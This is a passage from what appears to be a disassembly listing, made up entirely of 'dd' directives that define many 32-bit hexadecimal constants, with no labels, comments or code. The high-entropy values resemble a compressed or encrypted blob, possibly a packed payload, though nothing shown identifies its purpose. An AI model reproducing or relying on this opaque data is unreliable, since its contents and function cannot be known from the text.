		dd 5EBD7943h, 0D0C80122h, 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h
		dd 9B177293h, 0FB5F0024h, 3B052BA3h, 730E0C58h,	250181EFh
		dd 7A871942h, 9CC0B544h, 2F3031C7h, 0C37ED92Bh,	3858BF00h
		dd 0E636A6h, 0FDBEBA70h, 69ABD42Fh, 78D80D00h, 4F71CCE8h
		dd 0BC8D2CEAh, 8BF00032h, 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh
		dd 21E82AE0h, 9D430712h, 90C2C788h, 18E7E4AAh, 1C750500h
		dd 45724019h, 0BEBC0117h, 0C9744792h, 8E89305Eh, 1405CC2Ch
		dd 1345F500h, 0EC6A6093h, 0F762018Ch, 25F25886h, 0B9830B9h
		dd 4F071EEAh, 0AEE83EFFh, 9E369CA0h, 0EC200E4Dh, 5EE02384h
		dd 75AD19A9h, 1741090Fh, 70038557h, 29DACC0h, 76DC00E8h
		dd 8199101Ah, 0C01DFDF3h, 8B005B07h, 0D619917Fh, 94090022h
		dd 0E76AA888h, 2901A263h, 0F5A75DF3h, 4AC41D8Dh, 68530081h
		dd 0AD6F8A4h, 94287506h, 0CD00E954h, 0F210B329h, 22CD5A7h
		dd 34970D31h, 740F649h,	9B3CCEBCh, 20A28094h, 0E17D41Eh
		dd 388700C5h, 3B56422Eh, 0D60028C8h, 1BD29990h,	9876572Dh
		dd 4B100059h, 0A5583553h, 0E3000B44h, 523B2C3Dh, 179382Ah
		dd 0F469BD16h, 0E45E1739h, 8000BA0Bh, 5261C91Fh, 0EA6FF72h
		dd 3D7B2416h, 65AB7160h, 6660233Eh, 0C12BC6E8h,	0C3FCE4h
		dd 1653F2D4h, 2F7D044Ch, 8010973Eh, 30A47CBAh, 1BD395Fh
		dd 0F886B774h, 0EC66F7B2h, 24003E96h, 135EEC21h, 16878Ah
		dd 0FA23D52Fh, 36E8A952h, 58787D90h, 0F2549B00h, 84A30277h
		dd 0B96D001Fh, 0AE37FB79h, 3B012711h, 2887A2ECh, 4DF0465Eh
		dd 5DAD00B9h, 0B114CE5Ch, 9D0065A1h, 429AC8Eh, 6A13DAh
		dd 0A662E756h, 0A4D7471Fh, 5FDF2Dh, 0A062C7Bh, 15E8EDCBh
		dd 0C6386084h, 0C6647DE0h, 912871Fh, 0B6EBCD07h, 0FFCFFBF0h
		dd 243C00F9h, 2E7FDA91h, 4D5CD293h, 3F070089h, 0B88B08D5h
		dd 77A41DDFh, 48A680ABh, 0D011AFA3h, 26B9071Fh,	8458BB40h
		dd 3768EB5h, 0FF6B8FE5h, 17A0C321h, 743AE247h, 78A40009h
		dd 405BC083h, 597AF3h, 558AC203h, 74B81820h, 28754Ch, 641C9C08h
		dd 15D8B97h, 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h
		dd 0BA5C1347h, 32DD3A0Ah, 88730D83h, 8A80ED33h,	8DFE2F44h
		dd 340571Ch, 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh
		dd 68D5200Bh, 0D0978Eh,	0FD9E5E4Ch, 0F977C4D9h,	96EC1600h
		dd 0BE41FC55h, 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh
		dd 2D974489h, 0CB3D6Ch,	696A2188h, 0F1FA1612h, 1F4AC800h
		dd 3A7FF95Bh, 97150089h, 748F2E70h, 3006860h, 0ED754DF0h
		dd 4A9142h, 0FD2F1AF9h,	627D7E9Bh, 420358h, 46204788h
		dd 89B617h, 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h
		dd 0A5E947EDh, 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h
		dd 1CC020FCh, 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h
		dd 0F642AA80h, 8A3E957Ah, 0BB3C3Eh, 0D321A2DEh,	0F67D3DF7h
		dd 0EF540077h, 9DAF8AFAh, 2976C24Ah, 671C1100h,	0A5BA582Ch
		dd 68500762h, 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh
		dd 7730E453h, 9117B28h,	5623F4B7h, 0B2622A8Fh, 0D0E01EF8h
		dd 4C76FCC8h, 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h
		dd 3F71A108h, 0F120AC00h, 510C3730h, 89660013h,	82F0EBC1h
		dd 49980901h, 7F59E012h, 0B39DE003h, 3E90F8CFh,	239A0318h
		dd 2879AF8Bh, 104593C0h, 0D127E00Eh, 4203800Eh,	33F7024h
		dd 254FF066h, 138896D5h, 1C004522h, 270520A8h, 0FF1455h
		dd 0D55A56A4h, 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h
		dd 0EDCD600h, 0D0033C50h, 83C2EC3Bh, 9055FE78h,	7C408825h
		dd 0F2EE0044h, 10C36003h, 4100D5E8h, 7B78F6EAh,	77FB0220h
		dd 0F8E90033h, 7D9A5FCh, 6EC01609h, 71E8F1E0h, 23E0E23h
		dd 0F826112Fh, 0B900EE21h, 60751735h, 5CCEEB8h,	9E80E56h
		dd 4D9880D7h, 0EB00A67Ah, 0F0752283h, 0C3312Bh,	3BD3A0D0h
		dd 327736F2h, 0E7B82000h, 875C48Fh, 0E30E00EFh,	122373D1h
		dd 53005079h, 3C4F22AEh, 2A90D4h, 2941A991h, 0D15110A5h
		dd 4A384700h, 5C2B590Dh, 9511000Ah, 2ABEE845h, 0C000715h
		dd 4C78346h
		dd 7053AF1h, 820F1A6Dh,	707A4051h, 0BC3C6FD7h, 5200791Ch
		dd 0EF143065h, 0E4D0D40h, 0E3DB3110h, 0D0F71E02h, 85D275h
		dd 0D8FA18F2h, 5408B324h, 1E1718E1h, 40CBFEDBh,	0EAE6E297h
		dd 5F001EA4h, 72F8D4B5h, 0C4597Fh, 0C026FAB2h, 0E108B8BBh
		dd 48743B00h, 0C6DE3780h, 85CA5803h, 7AA74C72h,	2BCD0379h
		dd 10EB1ABBh, 6A0683F5h, 0D73529B0h, 5CA5E200h,	14F47970h
		dd 2462F6EEh, 0B59428h,	97D103B9h, 4000806Fh, 0FA4AEBC7h
		dd 1AC05Dh, 77C33BD9h, 0F23F9220h, 0ECF3CF00h, 0F7901773h
		dd 2BD3011Dh, 105D65D0h, 8BBD20B4h, 3A61EB4Ch, 201E00C2h
		dd 521572C3h, 537A3E48h, 2157F807h, 0EF64F0E2h,	0A000EEEh
		dd 0B075C985h, 390561Eh, 0D8DBB5F3h, 0A788DECBh, 8E12225Dh
		dd 0B1F4210h, 9184F740h, 80EA82h, 0FF88325h, 48202CB8h
		dd 0F0950200h, 0E6433C9h, 50A75C3Eh, 0D600394Ch, 407E0CE9h
		dd 114CFF02h, 80F0756h,	91F6482Eh, 3737566h, 0E888BA8Ch
		dd 0F3E8DFA3h, 44C136AFh, 27D49A6Fh, 460BFCh, 56AB2C8Dh
		dd 0B6E9434Ah, 23028301h, 80C3692Dh, 1932C280h,	0BC2042C7h
		dd 0E19D2C01h, 294A8D4Fh, 208057DAh, 94A958F4h,	0B006DC3Ah
		dd 2E5C34E9h, 8776032Fh, 714A0CAh, 21C7ACB8h, 0F048BA76h
		dd 0A3A51E5Ch, 172061C0h, 0FF64845Ah, 5E85F8h, 0BBB3274Ah
		dd 2E4BEC59h, 0C4102307h, 9A102B74h, 344975h, 143A7E39h
		dd 27C3950Fh, 9421AF00h, 22F19DCAh, 93371F5Bh, 0BC6380BFh
		dd 4F52740Fh, 1EA23907h, 8880103Dh, 16971Ah, 0C27043B4h
		dd 0E9BBE837h, 125A7100h, 0E8FEF50h, 0D868001Ch, 0B3EA42D3h
		dd 0A44CB421h, 0B12002Ch, 702EDD1h, 0E2B90083h,	58694A6Ch
		dd 0C5005F28h, 5D898F5Ch, 7CF9531Fh, 79A000A8h,	168E4212h
		dd 4000738Dh, 0E86D28EBh, 30E18h, 468A109Ch, 6492074Fh
		dd 0C7215400h, 896FD2FFh, 269000ACh, 2481F505h,	7F00EA80h
		dd 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h, 0A43E0ABh, 47B00270h
		dd 9005821h, 6AF8E2E9h,	1616851Fh, 1553C08h, 0F2064369h
		dd 0A5EEE012h, 0C9032707h, 0C00687Dh, 0B0F3EC80h, 6750022h
		dd 12F3AF8h, 0F0085D7h,	31222F4h, 5CC3FD3Bh, 391C4A1Dh
		dd 24CE4043h, 2DD8E83Dh, 3D12EA26h, 47AF4907h, 0F1AE0260h
		dd 0C8040054h, 22289121h, 3A00442Fh, 30488A58h,	0EA1B8Bh
		dd 3607A133h, 7D162CF1h, 7BEA03FAh, 0B215200h, 88F0C464h
		dd 5E4789Dh, 0B1CF71B8h, 8E49C097h, 20009DBh, 8078BEFCh
		dd 424412h, 0FE79B7E4h,	387450DAh, 1353126h, 9992803Bh
		dd 0C2D4717Eh, 24DD005Bh, 0EBAE3BA0h, 41002CC4h, 823CB988h
		dd 5C89CC29h, 63000A65h, 0F3E7B0FAh, 680035A4h,	0A2AEB5DCh
		dd 0D15ED4h, 8C38600Bh,	56C3E850h, 8600C1E8h, 13B9E089h
		dd 8B5B80h, 0FBC28110h,	0A104D614h, 3BDBDF38h, 774900D2h
		dd 0E035FFEEh, 40655C4Bh, 45A4AF00h, 0E989619Ah, 5A046800h
		dd 0AB505D28h, 87920758h, 872449A6h, 86B25134h,	3C71F02Bh
		dd 7B184D07h, 0C11078A4h, 1D1CCC66h, 143EF8h, 4ED70889h
		dd 83006C64h, 2F22098h,	112FC53h, 1C2693F4h, 0F4E7AA85h
		dd 73013B1Fh, 8819826Dh, 0C6C81413h, 0C8AB00F7h, 584A4363h
		dd 0B01F68EEh, 0CC808732h, 6238788Dh, 0E346074Bh, 0CFAB1875h
		dd 4E405861h, 69C9C8CBh, 3E6A5F00h, 2437C48h, 18271E99h
		dd 82007C55h, 6132A98h,	4000D7FFh, 8CC3FE11h, 0AD0343h
		dd 0F8A83D16h, 2105472Bh, 7EA65400h, 0E90DE790h, 5CC4002Ch
		dd 5219BCDAh, 4A00C0EFh, 3684CAFh, 24A4A0h, 0C2E8D649h
		dd 28B40743h, 0DD12B501h, 45B85061h, 0E9641E0h,	8AC2379Ah
		dd 0D305A6A1h, 7048FDCAh, 0F0324C3h, 4AC894F7h,	8810DB7Fh
		dd 0F0FD5F9Fh, 49D00F65h, 0A9230814h, 1C0408Ah,	0F076034Eh
		dd 93382B00h, 0B513E67Dh, 1FCD7C82h, 9F3D81F8h,	1C80FA2Ch
		dd 7A6E883h, 24E279FAh,	32756600h, 4F84D74Eh, 0FFD50097h
		dd 0B4EA3CC4h, 45003417h, 52442168h, 313E065Bh,	4A7854C1h
		dd 0FD2CC3Ah, 0A69C8500h, 0DB9A52A7h, 0FCE200D9h, 4BA14634h
		dd 2600EB54h, 0C32BA24h, 0EECC0850h, 0F1B207DCh, 9464594Fh
		dd 60098010h, 23A8FCBh,	0A1F800A8h, 68672029h, 4FC62C28h
		dd 0A9AA01ECh, 0F089D7CCh, 0CF00440Ah, 0B7DC16CEh, 8A0E34h
		dd 9A5C217Bh, 74D017D3h, 8206A101h, 0C087E56Ch,	0D8C7D8h
		dd 52B1D1ECh, 0E9C34005h, 5300257Ch, 4B22ABC2h,	17E7524h
		dd 5A32894Eh, 0E8D0E419h, 297F27A3h, 6AB2F600h,	0A6CA5EA7h
		dd 0F4AA0004h, 0BBB06DAFh, 0FA004B79h, 0DC4F34FDh, 0FB577D5h
		dd 1DC0CC57h, 41C26CEFh, 5FC04DC2h, 83009872h, 62C6B0CAh
		dd 3319AFh, 0E8C7042Ah,	0D40D5AB8h, 8074FF3Dh, 5710DA60h
		dd 0F883B903h, 68D00D8h, 8614FD95h, 3500BBD2h, 311D892Bh
		dd 2541B9h, 745106A3h, 4E525B03h, 0B293D200h, 1A8F73E8h
		dd 0D75313DDh, 699C00BFh, 0CD65C26Dh, 0F4853B00h, 9149C48Dh
		dd 30E860h, 739EB292h, 786E7DCBh, 0FAE87000h, 9718B059h
		dd 0F47B1EC1h, 83BD872Fh, 4840F18Dh, 0E4ED600Dh, 0A35C1403h
		dd 0B988A916h, 56309363h, 0D6970012h, 106A6132h, 607C7DB9h
		dd 86901C00h, 89B2EC5h,	0DF81014Ah, 89A1919Eh, 0CC7AE0D3h
		dd 220A5360h, 11C3E7h, 31642F0h, 41EC1215h, 0C76A2300h
		dd 0B4DA468Ch, 17C00019h, 744A423Ah, 800A80Bh, 3E4C754Bh
		dd 3D9B73h, 5D4E8CADh, 0C519EC6Eh, 24145A00h, 0A694C125h
		dd 83E002h, 0DC97FC6Dh,	51702CC3h, 69AF000h, 0DE813EF4h
		dd 1DE90002h, 29508E25h, 6F00754Fh, 94526796h, 3809BD69h
		dd 0A400EA2Fh, 0D87C0782h, 8039E9C4h, 74B0097Dh, 4D560021h
		dd 92DB91h, 32EC8F8h, 1150C329h, 5F67440Fh, 5D012005h
		dd 3DD5C7h, 260DDAE6h, 824998F5h, 8774A01h, 0D4637550h
		dd 0C8D01871h, 1906002Bh, 0E7BCEAC6h, 55006F4Bh, 53705B86h
		dd 51F06Bh, 0ABC85E75h,	0D8E5A9B8h, 8500D177h, 4CF2DCEAh
		dd 897458h, 0FC66EBD4h,	5D719052h, 85AC8000h, 6A2EC922h
		dd 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h, 689F300h
		dd 4C418CAFh, 42670075h, 3399CB1Fh, 0C438C2EFh,	3114804Ah
		dd 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh,	1A45DA00h
		dd 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah, 7B05F569h
		dd 0E4246EBh, 27754D6Fh, 0D5B00017h, 0A14A858Dh, 17EBF801h
		dd 9A92FEB3h, 77A3D9D8h, 0AB4B0367h, 94327866h,	0EED5C490h
		dd 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh, 94D12E7Dh
		dd 2DE18100h, 0AC13B27h, 0CA033D02h, 89080700h,	1E907519h
		dd 0C2D37D00h, 20449DBEh, 95C11D05h, 8BD0CEA3h,	6109C380h
		dd 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h, 0E41480D7h
		dd 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h, 45C63842h
		dd 0C4F964h, 83028485h,	60D78A89h, 0FE508200h, 3C70228Bh
		dd 0E754009Dh, 0F0EACE64h, 530075DBh, 0CC88FF17h, 7E38E9E2h
		dd 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h, 2660660Bh
		dd 0B0F00Ch, 25FA453Bh,	5CF00D74h, 406C21Fh, 21A9DAC0h
		dd 168BDFh, 50176655h, 19458940h, 0B70FF200h, 33310308h
		dd 0E94300CCh, 3A3B0A60h, 741E3546h, 36000E67h,	261F0954h
		dd 0A03F0095h, 4F665001h, 0B008102h, 0A6F2B752h, 3032FA53h
		dd 755E0D45h, 0A9076241h
		dd 2AD8A2B9h, 64178ED0h, 1F20047h, 4EEC8238h, 270134F3h
		dd 5DC04A8Fh, 1BCD2E6Bh, 1D99DCh, 0EDA5FA29h, 0FBBB6001h
		dd 2481660Bh, 1980FF7Dh, 258A2976h, 0A00074F6h,	530DE1FFh
		dd 6731579Ch, 50F248D9h, 45B398Eh, 1CF4E83Bh, 6A80803Fh
		dd 4E268D0Ah, 4F740008h, 0ED8C03E7h, 7D00E91Eh,	3C51AEE0h
		dd 0F1250F6h, 23AB4056h, 9F53D20h, 0FC0101EAh, 22FEC9B3h
		dd 0BE88565h, 3AFF450h,	7FF64269h, 20E70E32h, 3C65BE58h
		dd 0E7215317h, 0DD121FFFh, 45CF0011h, 13BE0E62h, 0B0D47100h
		dd 8C9D4792h, 3CA4070Ch, 5090A303h, 83D5ECBDh, 0AC68501h
		dd 52C77853h, 0F854ECh,	50908603h, 4D07E924h, 83376400h
		dd 8A84AD2Ah, 91480543h, 0C09B124Ah, 30413201h,	0A8FEA973h
		dd 42BAB800h, 15730ADCh, 0C93D0045h, 0DA4B5A1Ch, 57004D82h
		dd 3C47E194h, 0CFDC21h,	44D88871h, 0EE39FEC7h, 1AE04A30h
		dd 0C55E9h, 9348949Bh, 0B681D291h, 75393Eh, 0AA51F527h
		dd 4F42EDh, 0E31224A6h,	0F687477Ch, 10939504h, 7C8014BFh
		dd 740A25Ah, 0E802F49Dh, 0F5687791h, 0F856C0DBh, 0D31C25FEh
		dd 28DF582Ah, 89F20380h, 2CE4542h, 5C261CC0h, 405D217Eh
		dd 183CDC18h, 10352350h, 5F00C212h, 0A18FC32h, 60C48554h
		dd 0D031C4D4h, 873C7E1Bh, 4DAF8190h, 0EE41058h,	121760E4h
		dd 0BD90ABCh, 0B68F0882h, 3740EBA0h, 523FD655h,	344380A5h
		dd 0FC570DDBh, 867F00A8h, 104512B5h, 0CC03FA91h, 0CA73B817h
		dd 6BE000E2h, 1182DE4Ah, 55001F62h, 0A48A3E19h,	13399Fh
		dd 0B2EBFB54h, 9CB8C26Ch, 81D40938h, 2978064Fh,	58619E11h
		dd 0F3AFC8h, 0F7DC2074h, 4CFDE002h, 54112300h, 83D24222h
		dd 0D44800C1h, 0C925A7F2h, 0E2021975h, 74A47F72h, 8EC7E0FBh
		dd 71F70EB4h, 85E02CF0h, 0E387831Ch, 500002F2h,	0FA16E98Ah
		dd 3F930BD1h, 851F8DC3h, 4B14032h, 0A83A1029h, 0A27D3Bh
		dd 631277Eh, 3C432Bh, 530C63A1h, 5D93CA24h, 0E01F1FE4h
		dd 0FE3BF8h, 0B2830F28h, 308D8Bh, 0E81E4053h, 6B3C1219h
		dd 1876B3F6h, 4F07F400h, 8A05C283h, 5F3203F5h, 0FFFA9629h
		dd 8625DFB0h, 6A0033FAh, 0F1450B0h, 189F87h, 6F22832Dh
		dd 5940EFF7h, 0BC895407h, 0FAB04975h, 0D1C680h,	83740567h
		dd 724FBA68h, 0F021D605h, 0F780753Bh, 488063h, 74182D7Bh
		dd 0C69F3F3Ch, 8A424B00h, 0D241652Ah, 478100EFh, 17C5625h
		dd 6800625Bh, 12F03918h, 1DBDDA1Ch, 0C07FC9A0h,	564767B6h
		dd 6A4CFE15h, 340015Bh,	9EC75281h, 772F9CCCh, 0BE053E86h
		dd 44CA5900h, 8475F8A7h, 0FC1C400Bh, 0DF3A0953h, 142B080h
		dd 743CC23Bh, 226C000Ah, 0F4CF286Eh, 4DE9009Fh,	254013A9h
		dd 743AE448h, 0F74A829Dh, 60553899h, 0EB75949h,	611DE1ABh
		dd 51889A38h, 790B6603h, 0C88FC743h, 714A610h, 3758E1A5h
		dd 0E4069159h, 8EBD4092h, 4D786599h, 0EA058DECh, 0B8E0A02Fh
		dd 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h, 21E6AD71h, 0CB9A60CBh
		dd 0DBC04D00h, 7C2FBADCh, 63760022h, 5D50EA53h,	691FC973h
		dd 5B1FFC96h, 97B89880h, 1F86D71h, 679D18C2h, 0E0E22D24h
		dd 7C7F1CD7h, 0ADD45C04h, 4980CDD8h, 74F45969h,	0A5270379h
		dd 8867DD25h, 12D865ABh, 5513B2ECh, 20B8D0E5h, 1797EA00h
		dd 0F8A53D23h, 15286728h, 0CCB3DF01h, 484666C4h, 2F55DCh
		dd 99C76806h, 0AB6E1597h, 54B34B33h, 89DDD8CBh,	0A36800CFh
		dd 0DA90E805h, 0B001E2Dh, 71D3A009h, 78F25274h,	12FEB4h
		dd 0E15AE659h, 708EC6Bh, 0C71C6300h, 0BF0244F6h, 0C57284h
		dd 0E28CB895h, 573FC9E4h, 13B07E00h, 1541FF4Dh,	7B3C0040h
		dd 273B9591h, 7800CB69h, 7EFDDA92h, 90C916h, 0D302D088h
		dd 49F3D69Dh, 18000574h, 955B1C36h, 24588496h, 28FFF01h
		dd 4E1E2B2Eh, 0C1574740h, 2894200h, 598CF986h, 3FFCFAh
		dd 78C89F0Ah, 9A4D1025h, 0FD45140h, 53B05297h, 4009EB60h
		dd 3500DE2Ah, 8CEEF992h, 1F5888FDh, 43A63C24h, 2149B11h
		dd 0D15298D0h, 8034F03Bh, 0B948A2FFh, 0FFC097Bh, 0E946DADCh
		dd 4D000D3h, 0D840FD2h,	39EE0200h, 28ECC336h, 768390F6h
		dd 0A350008Fh, 1466D4E2h, 3A00D845h, 0DB138D16h, 39A53EBh
		dd 0BBD3FBACh, 7BE0B603h, 3C00E340h, 0AB866711h, 0E27D049h
		dd 0CF467107h, 801DE800h, 4D7F0326h, 59C11700h,	62478CD5h
		dd 3CD91DB6h, 58CE45D2h, 6F2A8066h, 103BBF86h, 233EAC45h
		dd 4B074703h, 0B4C7E825h, 8230014h, 0A9A1F9CFh,	70F50212h
		dd 2B2C1CBAh, 881D3706h, 1BAC2040h, 0E3D01h, 265A366Bh
		dd 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h, 453055Dh, 0E1D79C4Ch
		dd 333E818h, 0A4140800h, 0C415BB86h, 582BF01Dh,	5003835Dh
		dd 78AD0364h, 0DEB014EBh, 0F1071EA8h, 1832825Eh, 0C04B050h
		dd 4C9F05D3h, 80DE7E75h, 83E9D5BEh, 3A1D7B77h, 308F03C9h
		dd 9D14020h, 14266Ah, 48A0AC52h, 2C82B718h, 663DFB98h
		dd 8A98009Dh, 0C321C954h, 2B8E2699h, 71780158h,	0C4453561h
		dd 0AD001238h, 14EB7F33h, 0B2C4396h, 2F847D18h,	90DDC980h
		dd 324C826h, 3F17E3FBh,	0A1575A00h, 50CFFD2h, 83CD3B24h
		dd 87D30023h, 0F210D455h, 127D600h, 0B018C0F1h,	24C4070Eh
		dd 302814BDh, 40CB439h,	0B376871Dh, 0C884B900h,	17E902h
		dd 0A2DD47E8h, 7E82F0BCh, 0B143A300h, 0F37D08E2h, 0FA3D0364h
		dd 1EF2FF4Fh, 387FEDF8h, 81430400h, 0BFB31853h,	0BA0250A7h
		dd 1EE2003Ch, 93843042h, 0D05C20F4h, 40DE0052h,	2C34E4A1h
		dd 0BD8500F8h, 5938C843h, 7A000BFCh, 0C9535F84h, 2E8822h
		dd 0B8C10104h, 4E603F10h, 3437BF1Fh, 0C7E50A03h, 6575C8FCh
		dd 537D00FFh, 28521BC1h, 90011D45h, 74F685A5h, 55200F5Fh
		dd 8B391ED1h, 0E5803AEEh, 0FDC44BAFh, 0F202A6FBh, 3E642C25h
		dd 0E018425Ch, 68548Ch,	96F809A4h, 75FF9240h, 18492201h
		dd 8E9BF12Fh, 4320C121h, 0C6B055h, 0F4C5E987h, 422B610Ah
		dd 0E8408200h, 9A57A34Dh, 517D0332h, 0D444C960h, 0F77E88B0h
		dd 3F509600h, 225BA38h,	0A786007Bh, 6C8331C1h, 0F000CD71h
		dd 3624EB62h, 53FE04h, 0F7E88AFBh, 4B1E433Ah, 0A078756Fh
		dd 8CE2FF03h, 11D507FBh, 0E0DE9421h, 7EF0E599h,	84233200h
		dd 31D016A9h, 96544C9Eh, 4A210075h, 20622464h, 97EA433Ch
		dd 18850400h, 0B2557329h, 486A02F3h, 2BF0F449h,	35C5CBE0h
		dd 90A93700h, 93075DD3h, 2AE10010h, 5FEB5530h, 0BD008018h
		dd 2FD73B3Eh, 0E30D72h,	730E1F3Dh, 2ACAC106h, 81FEBECh
		dd 87C3F83Ah, 0E8E6E375h, 5E9F8Eh, 0DC102DC0h, 0F61CE881h
		dd 16442200h, 0BC88EFC3h, 7B92004Fh, 84FE2D2Ah,	0E60F5053h
		dd 0C04BAC4Dh, 29A1E0E8h, 89853F42h, 9CF58C81h,	0ECA83EF4h
		dd 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh, 0EE4692Ch, 5427D2A5h
		dd 89051360h, 12006BA4h, 3C9FFB5Bh, 1107053h, 88E22A11h
		dd 0D9182134h, 4C0DD851h, 87493800h, 50A28C91h,	907515h
		dd 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h, 0F66070Bh
		dd 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh, 768F303h
		dd 5615FC99h, 8108A023h, 4500503Eh, 27414C6h, 38F6B572h
		dd 3CF069FCh, 24006AF0h, 0EB4EBB28h, 0FE744A5Dh, 1A83121Ch
		dd 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh, 0EB730C62h
		dd 7839F602h, 6031B849h
		dd 5021F8FCh, 79E7C53Fh, 34BA3E46h, 91005FD8h, 525AB774h
		dd 0D5002367h, 8E037F86h, 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h
		dd 0D103DD33h, 7B84CF21h, 9C963B04h, 0E490E58Bh, 0C4C5700h
		dd 0BE006C5Bh, 4EC426A3h, 265EA10h, 0D08FABBCh,	0AA406982h
		dd 900F4916h, 770A120h,	6B77880Ah, 0C689AC90h, 31FC020Eh
		dd 0CACF49C9h, 0B2C09740h, 0C87030FCh, 19E98800h, 0B6F28AF1h
		dd 66182708h, 784BA077h, 89351209h, 440E0C34h, 0DA1C4275h
		dd 9B803E80h, 0D2F75BD3h, 25D100E4h, 57AD089h, 0B928C8ECh
		dd 4B00C4B7h, 72D54442h, 6B0EBh, 2ECBE1F3h, 16867799h
		dd 0B4C30330h, 5F547Dh,	50B9B3A7h, 33135CEAh, 0AF530100h
		dd 58AE9E35h, 28680FA0h, 5C60B55Fh, 50895294h, 59B18500h
		dd 8A0BD123h, 0D8800002h, 0A126758h, 42F05F2Eh,	0F0754905h
		dd 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h, 79A55401h,	0E5957458h
		dd 29FD7280h, 5BC85614h, 0D7FCD200h, 9857701Ah,	78402E4Ch
		dd 6040729h, 0F44AF0A3h, 0BF00FE41h, 1D17BD82h,	0E6E3E80Bh
		dd 2585002Dh, 0C65A4F78h, 733F61B2h, 1B770019h,	0AE933B3Ah
		dd 591A2675h, 0BA8100DDh, 3021C2Fh, 86EFD81Dh, 54971100h
		dd 3C3969Bh, 8A0A9BCh, 0D1D848EBh, 2A383988h, 16E6F91Bh
		dd 52432D00h, 0E923BCC7h, 20B8F2h, 18583BBDh, 2F73820Fh
		dd 4F93B200h, 22C43DAAh, 591004F0h, 8394E22Dh, 51B360E9h
		dd 0D5B80CB0h, 0B9013100h, 0D75C2042h, 0B871E645h, 13F270B5h
		dd 173EFE08h, 272F0039h, 0BAF7E07Eh, 893055FEh,	80093AF4h
		dd 0B72009F1h, 0C58302F9h, 0FFE8B204h, 0CD9E567Ch, 6A513800h
		dd 9A9C73h, 95880813h, 977CB85Ah, 0C5BBF400h, 1561EA0Ah
		dd 0F1100003h, 4912510Dh, 0A4581D0Eh, 802C3F8Ah, 5E077562h
		dd 0F8CA28h, 48EFE842h,	0A0E0FF96h, 65E4C800h, 0DFBCBA95h
		dd 7C60000Bh, 44AE545Fh, 0AD7BE093h, 6972000h, 1A2643C6h
		dd 4EB0001h, 7893DD0Dh,	540022CCh, 2C085011h, 1E6D799Fh
		dd 4057F12Dh, 730989F0h, 4600C630h, 0F34E8DD6h,	0DE8CADh
		dd 258B5967h, 0CBEFB91h, 5021C607h, 28F0B256h, 0FEADB5DDh
		dd 76D0FB59h, 30D11E20h, 0D5C5876Bh, 751C5081h,	1EC339CFh
		dd 80B1D62Bh, 0FD9B7Eh,	10E87349h, 1EBB92D4h, 6328100h
		dd 8E004E4h, 0D81F00DCh, 0A8F355D3h, 0C4003121h, 0D6BDAEFBh
		dd 9820A9Ah, 5FFE65CBh,	4F1A180h, 5802EA81h, 0B3542F78h
		dd 2ADDE0C4h, 0F5C20216h, 5F2664A2h, 8A9360E0h,	831E4712h
		dd 18446700h, 2E6689F7h, 30FC27Fh, 0A4504824h, 0C9F858E0h
		dd 6205D00h, 75894EF0h,	0F64A05BCh, 0C0762CB4h,	0C7B3466Dh
		dd 9D0F5000h, 1F2F2D82h, 5A901E55h, 0EA484097h,	0CE223746h
		dd 750058F4h, 196577EEh, 514B011h, 3B398285h, 0B0AF8718h
		dd 45807534h, 1AC5EC00h, 0EBE0176h, 0CA020061h,	0D9A4AF06h
		dd 0FE730D13h, 0C7958600h, 0AD775304h, 5F8B00AEh, 0FB7D80C2h
		dd 0CDEE88F0h, 2F008D7Bh, 0C715C663h, 0B86F110Dh, 0E4101201h
		dd 0BCFA0282h, 7E609D2Ah, 0DA0333EAh, 7468C075h, 0C03FB331h
		dd 35817A9h, 3E7995CEh,	1CE07567h, 0F35EE26Fh, 0DC00F5A8h
		dd 5114F669h, 4800B7DFh, 268DD83Bh, 7A011A1h, 0AF07BA12h
		dd 0D4F17174h, 7D85E454h, 5C38591Eh, 0CAF23F00h, 1E74032Dh
		dd 8562CCD6h, 0C09118AAh, 645A0A94h, 3EC510Bh, 454500B5h
		dd 1E05BAD4h, 5077D2Eh,	0FEAA81C4h, 0C0FD2FC2h,	0E3AE87h
		dd 0CAB541Ch, 6238FE95h, 0A032D32Eh, 0FF22B400h, 0EE7384h
		dd 0B0109C72h, 4BE7E968h, 8D2B60FBh, 91DD9500h,	8C2E63E1h
		dd 931313F0h, 420F003Fh, 0A6B1EB70h, 0E7772200h, 0C75F4086h
		dd 2C835C90h, 0C049F21Fh, 6A138C23h, 0B500F4EBh, 7385DB51h
		dd 16BA0221h, 0CAB4F2h,	53222A75h, 0D800720Dh, 52C38A1Ah
		dd 72865E01h, 0A76900E9h, 80D7B021h, 334CCD38h,	401100B1h
		dd 742E120Ah, 94D80066h, 0E0F42201h, 1700FFFAh,	0C01D7525h
		dd 0F467FE50h, 837713h,	0B2C9BF02h, 0B152535Ah,	8AB32100h
		dd 80C1B75h, 64560797h,	0E0D3220Fh, 9E060DC9h, 5CE22B00h
		dd 982D14E5h, 743300E9h, 4F9F6828h, 5EF6FB42h, 0AA195507h
		dd 3FAF18CBh, 463264C1h, 29EC4B35h, 0F17B00ECh,	8BA1A490h
